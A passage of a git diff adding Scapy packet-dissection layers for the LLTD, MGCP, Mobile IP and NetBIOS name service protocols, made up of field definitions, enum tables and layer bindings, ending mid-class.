+                        count_from=lambda pkt: pkt.descs_count),
+    ]
+
+    def post_build(self, pkt, pay):
+        if self.descs_count is None:
+            # descs_count should be a FieldLenField but has an
+            # unsupported format (14 bits)
+            flags = orb(pkt[0]) & 0xc0
+            count = len(self.descs_list)
+            pkt = chb(flags + (count >> 8)) + chb(count % 256) + pkt[2:]
+        return pkt + pay
+
+    def mysummary(self):
+        return self.sprintf("%d response%s" % (
+            self.descs_count,
+            "s" if self.descs_count > 1 else "")), [LLTD]
+
+
+class LLTDQueryLargeTlv(Packet):
+    name = "LLTD - Query Large Tlv"
+    fields_desc = [
+        ByteEnumField("type", 14, {
+            14: "Icon image",
+            17: "Friendly Name",
+            19: "Hardware ID",
+            22: "AP Association Table",
+            24: "Detailed Icon Image",
+            26: "Component Table",
+            28: "Repeater AP Table",
+        }),
+        ThreeBytesField("offset", 0),
+    ]
+
+    def mysummary(self):
+        return self.sprintf("%type% (offset %offset%)"), [LLTD]
+
+
+class LLTDQueryLargeTlvResp(Packet):
+    name = "LLTD - Query Large Tlv Response"
+    fields_desc = [
+        FlagsField("flags", 0, 2, "RM"),
+        BitField("len", None, 14),
+        StrLenField("value", "", length_from=lambda pkt: pkt.len)
+    ]
+
+    def post_build(self, pkt, pay):
+        if self.len is None:
+            # len should be a FieldLenField but has an unsupported
+            # format (14 bits)
+            flags = orb(pkt[0]) & 0xc0
+            length = len(self.value)
+            pkt = chb(flags + (length >> 8)) + chb(length % 256) + pkt[2:]
+        return pkt + pay
+
+    def mysummary(self):
+        return self.sprintf("%%len%% bytes%s" % (
+            " (last)" if not self.flags & 2 else ""
+        )), [LLTD]
+
+
+class LLTDAttribute(Packet):
+    name = "LLTD Attribute"
+    show_indent = False
+    show_summary = False
+    # section 2.2.1.1
+    fields_desc = [
+        ByteEnumField("type", 0, {
+            0: "End Of Property",
+            1: "Host ID",
+            2: "Characteristics",
+            3: "Physical Medium",
+            7: "IPv4 Address",
+            9: "802.11 Max Rate",
+            10: "Performance Counter Frequency",
+            12: "Link Speed",
+            14: "Icon Image",
+            15: "Machine Name",
+            18: "Device UUID",
+            20: "QoS Characteristics",
+            21: "802.11 Physical Medium",
+            24: "Detailed Icon Image",
+        }),
+        FieldLenField("len", None, length_of="value", fmt="B"),
+        StrLenField("value", "", length_from=lambda pkt: pkt.len),
+    ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *_, **kargs):
+        if _pkt:
+            cmd = orb(_pkt[0])
+        elif "type" in kargs:
+            cmd = kargs["type"]
+            if isinstance(cmd, six.string_types):
+                cmd = cls.fields_desc[0].s2i[cmd]
+        else:
+            return cls
+        return SPECIFIC_CLASSES.get(cmd, cls)
+
+SPECIFIC_CLASSES = {}
+
+
+def _register_lltd_specific_class(*attr_types):
+    """This can be used as a class decorator; if we want to support Python
+    2.5, we have to replace
+
+@_register_lltd_specific_class(x[, y[, ...]])
+class LLTDAttributeSpecific(LLTDAttribute):
+[...]
+
+by
+
+class LLTDAttributeSpecific(LLTDAttribute):
+[...]
+LLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])(
+    LLTDAttributeSpecific
+)
+
+    """
+    def _register(cls):
+        for attr_type in attr_types:
+            SPECIFIC_CLASSES[attr_type] = cls
+        type_fld = LLTDAttribute.fields_desc[0].copy()
+        type_fld.default = attr_types[0]
+        cls.fields_desc = [type_fld] + cls.fields_desc
+        return cls
+    return _register
+
+
+@_register_lltd_specific_class(0)
+class LLTDAttributeEOP(LLTDAttribute):
+    name = "LLTD Attribute - End Of Property"
+    fields_desc = []
+
+
+@_register_lltd_specific_class(1)
+class LLTDAttributeHostID(LLTDAttribute):
+    name = "LLTD Attribute - Host ID"
+    fields_desc = [
+        ByteField("len", 6),
+        MACField("mac", ETHER_ANY),
+    ]
+
+    def mysummary(self):
+        return "ID: %s" % self.mac, [LLTD, LLTDAttributeMachineName]
+
+
+@_register_lltd_specific_class(2)
+class LLTDAttributeCharacteristics(LLTDAttribute):
+    name = "LLTD Attribute - Characteristics"
+    fields_desc = [
+        # According to MS doc, "this field MUST be set to 0x02". But
+        # according to MS implementation, that's wrong.
+        # ByteField("len", 2),
+        FieldLenField("len", None, length_of="reserved2", fmt="B",
+                      adjust=lambda _, x: x + 2),
+        FlagsField("flags", 0, 5, "PXFML"),
+        BitField("reserved1", 0, 11),
+        StrLenField("reserved2", "", length_from=lambda x: x.len - 2)
+    ]
+
+
+@_register_lltd_specific_class(3)
+class LLTDAttributePhysicalMedium(LLTDAttribute):
+    name = "LLTD Attribute - Physical Medium"
+    fields_desc = [
+        ByteField("len", 4),
+        IntEnumField("medium", 6, {
+            # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib
+            1: "other",
+            2: "regular1822",
+            3: "hdh1822",
+            4: "ddnX25",
+            5: "rfc877x25",
+            6: "ethernetCsmacd",
+            7: "iso88023Csmacd",
+            8: "iso88024TokenBus",
+            9: "iso88025TokenRing",
+            10: "iso88026Man",
+            11: "starLan",
+            12: "proteon10Mbit",
+            13: "proteon80Mbit",
+            14: "hyperchannel",
+            15: "fddi",
+            16: "lapb",
+            17: "sdlc",
+            18: "ds1",
+            19: "e1",
+            20: "basicISDN",
+            21: "primaryISDN",
+            22: "propPointToPointSerial",
+            23: "ppp",
+            24: "softwareLoopback",
+            25: "eon",
+            26: "ethernet3Mbit",
+            27: "nsip",
+            28: "slip",
+            29: "ultra",
+            30: "ds3",
+            31: "sip",
+            32: "frameRelay",
+            33: "rs232",
+            34: "para",
+            35: "arcnet",
+            36: "arcnetPlus",
+            37: "atm",
+            38: "miox25",
+            39: "sonet",
+            40: "x25ple",
+            41: "iso88022llc",
+            42: "localTalk",
+            43: "smdsDxi",
+            44: "frameRelayService",
+            45: "v35",
+            46: "hssi",
+            47: "hippi",
+            48: "modem",
+            49: "aal5",
+            50: "sonetPath",
+            51: "sonetVT",
+            52: "smdsIcip",
+            53: "propVirtual",
+            54: "propMultiplexor",
+            55: "ieee80212",
+            56: "fibreChannel",
+            57: "hippiInterface",
+            58: "frameRelayInterconnect",
+            59: "aflane8023",
+            60: "aflane8025",
+            61: "cctEmul",
+            62: "fastEther",
+            63: "isdn",
+            64: "v11",
+            65: "v36",
+            66: "g703at64k",
+            67: "g703at2mb",
+            68: "qllc",
+            69: "fastEtherFX",
+            70: "channel",
+            71: "ieee80211",
+            72: "ibm370parChan",
+            73: "escon",
+            74: "dlsw",
+            75: "isdns",
+            76: "isdnu",
+            77: "lapd",
+            78: "ipSwitch",
+            79: "rsrb",
+            80: "atmLogical",
+            81: "ds0",
+            82: "ds0Bundle",
+            83: "bsc",
+            84: "async",
+            85: "cnr",
+            86: "iso88025Dtr",
+            87: "eplrs",
+            88: "arap",
+            89: "propCnls",
+            90: "hostPad",
+            91: "termPad",
+            92: "frameRelayMPI",
+            93: "x213",
+            94: "adsl",
+            95: "radsl",
+            96: "sdsl",
+            97: "vdsl",
+            98: "iso88025CRFPInt",
+            99: "myrinet",
+            100: "voiceEM",
+            101: "voiceFXO",
+            102: "voiceFXS",
+            103: "voiceEncap",
+            104: "voiceOverIp",
+            105: "atmDxi",
+            106: "atmFuni",
+            107: "atmIma",
+            108: "pppMultilinkBundle",
+            109: "ipOverCdlc",
+            110: "ipOverClaw",
+            111: "stackToStack",
+            112: "virtualIpAddress",
+            113: "mpc",
+            114: "ipOverAtm",
+            115: "iso88025Fiber",
+            116: "tdlc",
+            117: "gigabitEthernet",
+            118: "hdlc",
+            119: "lapf",
+            120: "v37",
+            121: "x25mlp",
+            122: "x25huntGroup",
+            123: "transpHdlc",
+            124: "interleave",
+            125: "fast",
+            126: "ip",
+            127: "docsCableMaclayer",
+            128: "docsCableDownstream",
+            129: "docsCableUpstream",
+            130: "a12MppSwitch",
+            131: "tunnel",
+            132: "coffee",
+            133: "ces",
+            134: "atmSubInterface",
+            135: "l2vlan",
+            136: "l3ipvlan",
+            137: "l3ipxvlan",
+            138: "digitalPowerline",
+            139: "mediaMailOverIp",
+            140: "dtm",
+            141: "dcn",
+            142: "ipForward",
+            143: "msdsl",
+            144: "ieee1394",
+            145: "if-gsn",
+            146: "dvbRccMacLayer",
+            147: "dvbRccDownstream",
+            148: "dvbRccUpstream",
+            149: "atmVirtual",
+            150: "mplsTunnel",
+            151: "srp",
+            152: "voiceOverAtm",
+            153: "voiceOverFrameRelay",
+            154: "idsl",
+            155: "compositeLink",
+            156: "ss7SigLink",
+            157: "propWirelessP2P",
+            158: "frForward",
+            159: "rfc1483",
+            160: "usb",
+            161: "ieee8023adLag",
+            162: "bgppolicyaccounting",
+            163: "frf16MfrBundle",
+            164: "h323Gatekeeper",
+            165: "h323Proxy",
+            166: "mpls",
+            167: "mfSigLink",
+            168: "hdsl2",
+            169: "shdsl",
+            170: "ds1FDL",
+            171: "pos",
+            172: "dvbAsiIn",
+            173: "dvbAsiOut",
+            174: "plc",
+            175: "nfas",
+            176: "tr008",
+            177: "gr303RDT",
+            178: "gr303IDT",
+            179: "isup",
+            180: "propDocsWirelessMaclayer",
+            181: "propDocsWirelessDownstream",
+            182: "propDocsWirelessUpstream",
+            183: "hiperlan2",
+            184: "propBWAp2Mp",
+            185: "sonetOverheadChannel",
+            186: "digitalWrapperOverheadChannel",
+            187: "aal2",
+            188: "radioMAC",
+            189: "atmRadio",
+            190: "imt",
+            191: "mvl",
+            192: "reachDSL",
+            193: "frDlciEndPt",
+            194: "atmVciEndPt",
+            195: "opticalChannel",
+            196: "opticalTransport",
+            197: "propAtm",
+            198: "voiceOverCable",
+            199: "infiniband",
+            200: "teLink",
+            201: "q2931",
+            202: "virtualTg",
+            203: "sipTg",
+            204: "sipSig",
+            205: "docsCableUpstreamChannel",
+            206: "econet",
+            207: "pon155",
+            208: "pon622",
+            209: "bridge",
+            210: "linegroup",
+            211: "voiceEMFGD",
+            212: "voiceFGDEANA",
+            213: "voiceDID",
+            214: "mpegTransport",
+            215: "sixToFour",
+            216: "gtp",
+            217: "pdnEtherLoop1",
+            218: "pdnEtherLoop2",
+            219: "opticalChannelGroup",
+            220: "homepna",
+            221: "gfp",
+            222: "ciscoISLvlan",
+            223: "actelisMetaLOOP",
+            224: "fcipLink",
+            225: "rpr",
+            226: "qam",
+            227: "lmp",
+            228: "cblVectaStar",
+            229: "docsCableMCmtsDownstream",
+            230: "adsl2",
+            231: "macSecControlledIF",
+            232: "macSecUncontrolledIF",
+            233: "aviciOpticalEther",
+            234: "atmbond",
+            235: "voiceFGDOS",
+            236: "mocaVersion1",
+            237: "ieee80216WMAN",
+            238: "adsl2plus",
+            239: "dvbRcsMacLayer",
+            240: "dvbTdm",
+            241: "dvbRcsTdma",
+            242: "x86Laps",
+            243: "wwanPP",
+            244: "wwanPP2",
+            245: "voiceEBS",
+            246: "ifPwType",
+            247: "ilan",
+            248: "pip",
+            249: "aluELP",
+            250: "gpon",
+            251: "vdsl2",
+            252: "capwapDot11Profile",
+            253: "capwapDot11Bss",
+            254: "capwapWtpVirtualRadio",
+            255: "bits",
+            256: "docsCableUpstreamRfPort",
+            257: "cableDownstreamRfPort",
+            258: "vmwareVirtualNic",
+            259: "ieee802154",
+            260: "otnOdu",
+            261: "otnOtu",
+            262: "ifVfiType",
+            263: "g9981",
+            264: "g9982",
+            265: "g9983",
+            266: "aluEpon",
+            267: "aluEponOnu",
+            268: "aluEponPhysicalUni",
+            269: "aluEponLogicalLink",
+            271: "aluGponPhysicalUni",
+            272: "vmwareNicTeam",
+            277: "docsOfdmDownstream",
+            278: "docsOfdmaUpstream",
+            279: "gfast",
+            280: "sdci",
+        }),
+    ]
+
+
+@_register_lltd_specific_class(7)
+class LLTDAttributeIPv4Address(LLTDAttribute):
+    name = "LLTD Attribute - IPv4 Address"
+    fields_desc = [
+        ByteField("len", 4),
+        IPField("ipv4", "0.0.0.0"),
+    ]
+
+
+@_register_lltd_specific_class(8)
+class LLTDAttributeIPv6Address(LLTDAttribute):
+    name = "LLTD Attribute - IPv6 Address"
+    fields_desc = [
+        ByteField("len", 16),
+        IP6Field("ipv6", "::"),
+    ]
+
+
+@_register_lltd_specific_class(9)
+class LLTDAttribute80211MaxRate(LLTDAttribute):
+    name = "LLTD Attribute - 802.11 Max Rate"
+    fields_desc = [
+        ByteField("len", 2),
+        ShortField("rate", 0),
+    ]
+
+
+@_register_lltd_specific_class(10)
+class LLTDAttributePerformanceCounterFrequency(LLTDAttribute):
+    name = "LLTD Attribute - Performance Counter Frequency"
+    fields_desc = [
+        ByteField("len", 8),
+        LongField("freq", 0),
+    ]
+
+
+@_register_lltd_specific_class(12)
+class LLTDAttributeLinkSpeed(LLTDAttribute):
+    name = "LLTD Attribute - Link Speed"
+    fields_desc = [
+        ByteField("len", 4),
+        IntField("speed", 0),
+    ]
+
+
+@_register_lltd_specific_class(14, 24, 26)
+class LLTDAttributeLargeTLV(LLTDAttribute):
+    name = "LLTD Attribute - Large TLV"
+    fields_desc = [
+        ByteField("len", 0),
+    ]
+
+
+@_register_lltd_specific_class(15)
+class LLTDAttributeMachineName(LLTDAttribute):
+    name = "LLTD Attribute - Machine Name"
+    fields_desc = [
+        FieldLenField("len", None, length_of="hostname", fmt="B"),
+        StrLenFieldUtf16("hostname", "", length_from=lambda pkt: pkt.len),
+    ]
+
+    def mysummary(self):
+        return (self.sprintf("Hostname: %r" % self.hostname),
+                [LLTD, LLTDAttributeHostID])
+
+
+@_register_lltd_specific_class(18)
+class LLTDAttributeDeviceUUID(LLTDAttribute):
+    name = "LLTD Attribute - Device UUID"
+    fields_desc = [
+        FieldLenField("len", None, length_of="uuid", fmt="B"),
+        StrLenField("uuid", b"\x00" * 16, length_from=lambda pkt: pkt.len),
+    ]
+
+
+@_register_lltd_specific_class(20)
+class LLTDAttributeQOSCharacteristics(LLTDAttribute):
+    name = "LLTD Attribute - QoS Characteristics"
+    fields_desc = [
+        ByteField("len", 4),
+        FlagsField("flags", 0, 3, "EQP"),
+        BitField("reserved1", 0, 13),
+        ShortField("reserved2", 0),
+    ]
+
+
+@_register_lltd_specific_class(21)
+class LLTDAttribute80211PhysicalMedium(LLTDAttribute):
+    name = "LLTD Attribute - 802.11 Physical Medium"
+    fields_desc = [
+        ByteField("len", 1),
+        ByteEnumField("medium", 0, {
+            0: "Unknown",
+            1: "FHSS 2.4 GHz",
+            2: "DSSS 2.4 GHz",
+            3: "IR Baseband",
+            4: "OFDM 5 GHz",
+            5: "HRDSSS",
+            6: "ERP",
+        }),
+    ]
+
+
+@_register_lltd_specific_class(25)
+class LLTDAttributeSeesList(LLTDAttribute):
+    name = "LLTD Attribute - Sees List Working Set"
+    fields_desc = [
+        ByteField("len", 2),
+        ShortField("max_entries", 0),
+    ]
+
+
+bind_layers(Ether, LLTD, type=0x88d9)
+bind_layers(LLTD, LLTDDiscover, tos=0, function=0)
+bind_layers(LLTD, LLTDDiscover, tos=1, function=0)
+bind_layers(LLTD, LLTDHello, tos=0, function=1)
+bind_layers(LLTD, LLTDHello, tos=1, function=1)
+bind_layers(LLTD, LLTDEmit, tos=0, function=2)
+bind_layers(LLTD, LLTDQueryResp, tos=0, function=7)
+bind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11)
+bind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12)
+bind_layers(LLTDHello, LLTDAttribute)
+bind_layers(LLTDAttribute, LLTDAttribute)
+bind_layers(LLTDAttribute, Padding, type=0)
+bind_layers(LLTDEmiteeDesc, Padding)
+bind_layers(LLTDRecveeDesc, Padding)
+
+
+# Utils
+########
+
+class LargeTlvBuilder(object):
+    """An object to build content fetched through LLTDQueryLargeTlv /
+    LLTDQueryLargeTlvResp packets.
+
+    Usable with a PacketList() object:
+    >>> p = LargeTlvBuilder()
+    >>> p.parse(rdpcap('capture_file.cap'))
+
+    Or during a network capture:
+    >>> p = LargeTlvBuilder()
+    >>> sniff(filter="ether proto 0x88d9", prn=p.parse)
+
+    To get the result, use .get_data()
+
+    """
+    def __init__(self):
+        self.types_offsets = {}
+        self.data = {}
+
+    def parse(self, plist):
+        """Update the builder using the provided `plist`. `plist` can
+        be either a Packet() or a PacketList().
+
+        """
+        if not isinstance(plist, PacketList):
+            plist = PacketList(plist)
+        for pkt in plist[LLTD]:
+            if LLTDQueryLargeTlv in pkt:
+                key = "%s:%s:%d" % (pkt.real_dst, pkt.real_src, pkt.seq)
+                self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type,
+                                           pkt[LLTDQueryLargeTlv].offset)
+            elif LLTDQueryLargeTlvResp in pkt:
+                try:
+                    key = "%s:%s:%d" % (pkt.real_src, pkt.real_dst, pkt.seq)
+                    content, offset = self.types_offsets[key]
+                except KeyError:
+                    continue
+                loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len)
+                key = "%s > %s [%s]" % (
+                    pkt.real_src, pkt.real_dst,
+                    LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content),
+                )
+                data = self.data.setdefault(key, array("B"))
+                datalen = len(data)
+                if datalen < loc.stop:
+                    data.extend(array("B", b"\x00" * (loc.stop - datalen)))
+                data[loc] = array("B", pkt[LLTDQueryLargeTlvResp].value)
+
+    def get_data(self):
+        """Returns a dictionary object, keys are strings "source >
+        destincation [content type]", and values are the content
+        fetched, also as a string.
+
+        """
+        return {key: "".join(chr(byte) for byte in data)
+                for key, data in six.iteritems(self.data)}
diff --git a/scapy/layers/mgcp.py b/scapy/layers/mgcp.py
new file mode 100644
index 0000000..2e4b5e0
--- /dev/null
+++ b/scapy/layers/mgcp.py
@@ -0,0 +1,45 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+MGCP (Media Gateway Control Protocol)
+
+[RFC 2805]
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP
+
+class MGCP(Packet):
+    name = "MGCP"
+    longname = "Media Gateway Control Protocol"
+    fields_desc = [ StrStopField("verb","AUEP"," ", -1),
+                    StrFixedLenField("sep1"," ",1),
+                    StrStopField("transaction_id","1234567"," ", -1),
+                    StrFixedLenField("sep2"," ",1),
+                    StrStopField("endpoint","dummy@dummy.net"," ", -1),
+                    StrFixedLenField("sep3"," ",1),
+                    StrStopField("version","MGCP 1.0 NCS 1.0",b"\x0a", -1),
+                    StrFixedLenField("sep4",b"\x0a",1),
+                    ]
+                    
+    
+#class MGCP(Packet):
+#    name = "MGCP"
+#    longname = "Media Gateway Control Protocol"
+#    fields_desc = [ ByteEnumField("type",0, ["request","response","others"]),
+#                    ByteField("code0",0),
+#                    ByteField("code1",0),
+#                    ByteField("code2",0),
+#                    ByteField("code3",0),
+#                    ByteField("code4",0),
+#                    IntField("trasid",0),
+#                    IntField("req_time",0),
+#                    ByteField("is_duplicate",0),
+#                    ByteField("req_available",0) ]
+#
+bind_layers( UDP,           MGCP,          dport=2727)
+bind_layers( UDP,           MGCP,          sport=2727)
diff --git a/scapy/layers/mobileip.py b/scapy/layers/mobileip.py
new file mode 100644
index 0000000..bbaa8ce
--- /dev/null
+++ b/scapy/layers/mobileip.py
@@ -0,0 +1,47 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Mobile IP.
+"""
+
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.inet import IP,UDP
+
+
+class MobileIP(Packet):
+    name = "Mobile IP (RFC3344)"
+    fields_desc = [ ByteEnumField("type", 1, {1:"RRQ", 3:"RRP"}) ]
+
+class MobileIPRRQ(Packet):
+    name = "Mobile IP Registration Request (RFC3344)"
+    fields_desc = [ XByteField("flags", 0),
+                    ShortField("lifetime", 180),
+                    IPField("homeaddr", "0.0.0.0"),
+                    IPField("haaddr", "0.0.0.0"),
+                    IPField("coaddr", "0.0.0.0"),
+                    LongField("id", 0), ]
+
+class MobileIPRRP(Packet):
+    name = "Mobile IP Registration Reply (RFC3344)"
+    fields_desc = [ ByteField("code", 0),
+                    ShortField("lifetime", 180),
+                    IPField("homeaddr", "0.0.0.0"),
+                    IPField("haaddr", "0.0.0.0"),
+                    LongField("id", 0), ]
+
+class MobileIPTunnelData(Packet):
+    name = "Mobile IP Tunnel Data Message (RFC3519)"
+    fields_desc = [ ByteField("nexthdr", 4),
+                    ShortField("res", 0) ]
+
+
+bind_layers( UDP,           MobileIP,           sport=434)
+bind_layers( UDP,           MobileIP,           dport=434)
+bind_layers( MobileIP,      MobileIPRRQ,        type=1)
+bind_layers( MobileIP,      MobileIPRRP,        type=3)
+bind_layers( MobileIP,      MobileIPTunnelData, type=4)
+bind_layers( MobileIPTunnelData, IP,           nexthdr=4)
diff --git a/scapy/layers/netbios.py b/scapy/layers/netbios.py
new file mode 100644
index 0000000..156adb7
--- /dev/null
+++ b/scapy/layers/netbios.py
@@ -0,0 +1,222 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+NetBIOS over TCP/IP
+
+[RFC 1001/1002]
+"""
+
+import struct
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP,TCP
+from scapy.layers.l2 import SourceMACField
+
+class NetBIOS_DS(Packet):
+    name = "NetBIOS datagram service"
+    fields_desc = [
+        ByteEnumField("type",17, {17:"direct_group"}),
+        ByteField("flags",0),
+        XShortField("id",0),
+        IPField("src","127.0.0.1"),
+        ShortField("sport",138),
+        ShortField("len",None),
+        ShortField("ofs",0),
+        NetBIOSNameField("srcname",""),
+        NetBIOSNameField("dstname",""),
+        ]
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            l = len(p)-14
+            p = p[:10]+struct.pack("!H", l)+p[12:]
+        return p
+        
+#        ShortField("length",0),
+#        ShortField("Delimitor",0),
+#        ByteField("command",0),
+#        ByteField("data1",0),
+#        ShortField("data2",0),
+#        ShortField("XMIt",0),
+#        ShortField("RSPCor",0),
+#        StrFixedLenField("dest","",16),
+#        StrFixedLenField("source","",16),
+#        
+#        ]
+#
+
+#NetBIOS
+
+
+# Name Query Request
+# Node Status Request
+class NBNSQueryRequest(Packet):
+    name="NBNS query request"
+    fields_desc = [ShortField("NAME_TRN_ID",0),
+                   ShortField("FLAGS", 0x0110),
+                   ShortField("QDCOUNT",1),
+                   ShortField("ANCOUNT",0),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",0),
+                   NetBIOSNameField("QUESTION_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"})]
+
+# Name Registration Request
+# Name Refresh Request
+# Name Release Request or Demand
+class NBNSRequest(Packet):
+    name="NBNS request"
+    fields_desc = [ShortField("NAME_TRN_ID",0),
+                   ShortField("FLAGS", 0x2910),
+                   ShortField("QDCOUNT",1),
+                   ShortField("ANCOUNT",0),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",1),
+                   NetBIOSNameField("QUESTION_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}),
+                   ShortEnumField("RR_NAME",0xC00C,{0xC00C:"Label String Pointer to QUESTION_NAME"}),
+                   ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("RR_CLASS",1,{1:"INTERNET"}),
+                   IntField("TTL", 0),
+                   ShortField("RDLENGTH", 6),
+                   BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}),
+                   BitEnumField("OWNER_NODE_TYPE",00,2,{0:"B node",1:"P node",2:"M node",3:"H node"}),
+                   BitEnumField("UNUSED",0,13,{0:"Unused"}),
+                   IPField("NB_ADDRESS", "127.0.0.1")]
+
+# Name Query Response
+# Name Registration Response
+class NBNSQueryResponse(Packet):
+    name="NBNS query response"
+    fields_desc = [ShortField("NAME_TRN_ID",0),
+                   ShortField("FLAGS", 0x8500),
+                   ShortField("QDCOUNT",0),
+                   ShortField("ANCOUNT",1),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",0),
+                   NetBIOSNameField("RR_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}),
+                   IntField("TTL", 0x493e0),
+                   ShortField("RDLENGTH", 6),
+                   ShortField("NB_FLAGS", 0),
+                   IPField("NB_ADDRESS", "127.0.0.1")]
+
+# Name Query Response (negative)
+# Name Release Response
+class NBNSQueryResponseNegative(Packet):
+    name="NBNS query response (negative)"
+    fields_desc = [ShortField("NAME_TRN_ID",0), 
+                   ShortField("FLAGS", 0x8506),
+                   ShortField("QDCOUNT",0),
+                   ShortField("ANCOUNT",1),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",0),
+                   NetBIOSNameField("RR_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("RR_CLASS",1,{1:"INTERNET"}),
+                   IntField("TTL",0),
+                   ShortField("RDLENGTH",6),
+                   BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}),
+                   BitEnumField("OWNER_NODE_TYPE",00,2,{0:"B node",1:"P node",2:"M node",3:"H node"}),
+                   BitEnumField("UNUSED",0,13,{0:"Unused"}),
+                   IPField("NB_ADDRESS", "127.0.0.1")]
+    
+# Node Status Response
+class NBNSNodeStatusResponse(Packet):
+    name="NBNS Node Status Response"
+    fields_desc = [ShortField("NAME_TRN_ID",0), 
+                   ShortField("FLAGS", 0x8500),
+                   ShortField("QDCOUNT",0),
+                   ShortField("ANCOUNT",1),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",0),
+                   NetBIOSNameField("RR_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("RR_TYPE",0x21, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("RR_CLASS",1,{1:"INTERNET"}),
+                   IntField("TTL",0),
+                   ShortField("RDLENGTH",83),
+                   ByteField("NUM_NAMES",1)]
+
+# Service for Node Status Response
+class NBNSNodeStatusResponseService(Packet):
+    name="NBNS Node Status Response Service"
+    fields_desc = [StrFixedLenField("NETBIOS_NAME","WINDOWS         ",15),
+                   ByteEnumField("SUFFIX",0,{0:"workstation",0x03:"messenger service",0x20:"file server service",0x1b:"domain master browser",0x1c:"domain controller", 0x1e:"browser election service"}),
+                   ByteField("NAME_FLAGS",0x4),
+                   ByteEnumField("UNUSED",0,{0:"unused"})]
+
+# End of Node Status Response packet
+class NBNSNodeStatusResponseEnd(Packet):
+    name="NBNS Node Status Response"
+    fields_desc = [SourceMACField("MAC_ADDRESS"),
+                   BitField("STATISTICS",0,57*8)]
+
+# Wait for Acknowledgement Response
+class NBNSWackResponse(Packet):
+    name="NBNS Wait for Acknowledgement Response"
+    fields_desc = [ShortField("NAME_TRN_ID",0),
+                   ShortField("FLAGS", 0xBC07),
+                   ShortField("QDCOUNT",0),
+                   ShortField("ANCOUNT",1),
+                   ShortField("NSCOUNT",0),
+                   ShortField("ARCOUNT",0),
+                   NetBIOSNameField("RR_NAME","windows"),
+                   ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                   ByteField("NULL",0),
+                   ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}),
+                   ShortEnumField("RR_CLASS",1,{1:"INTERNET"}),
+                   IntField("TTL", 2),
+                   ShortField("RDLENGTH",2),
+                   BitField("RDATA",10512,16)] #10512=0010100100010000
+
+class NBTDatagram(Packet):
+    name="NBT Datagram Packet"
+    fields_desc= [ByteField("Type", 0x10),
+                  ByteField("Flags", 0x02),
+                  ShortField("ID", 0),
+                  IPField("SourceIP", "127.0.0.1"),
+                  ShortField("SourcePort", 138),
+                  ShortField("Length", 272),
+                  ShortField("Offset", 0),
+                  NetBIOSNameField("SourceName","windows"),
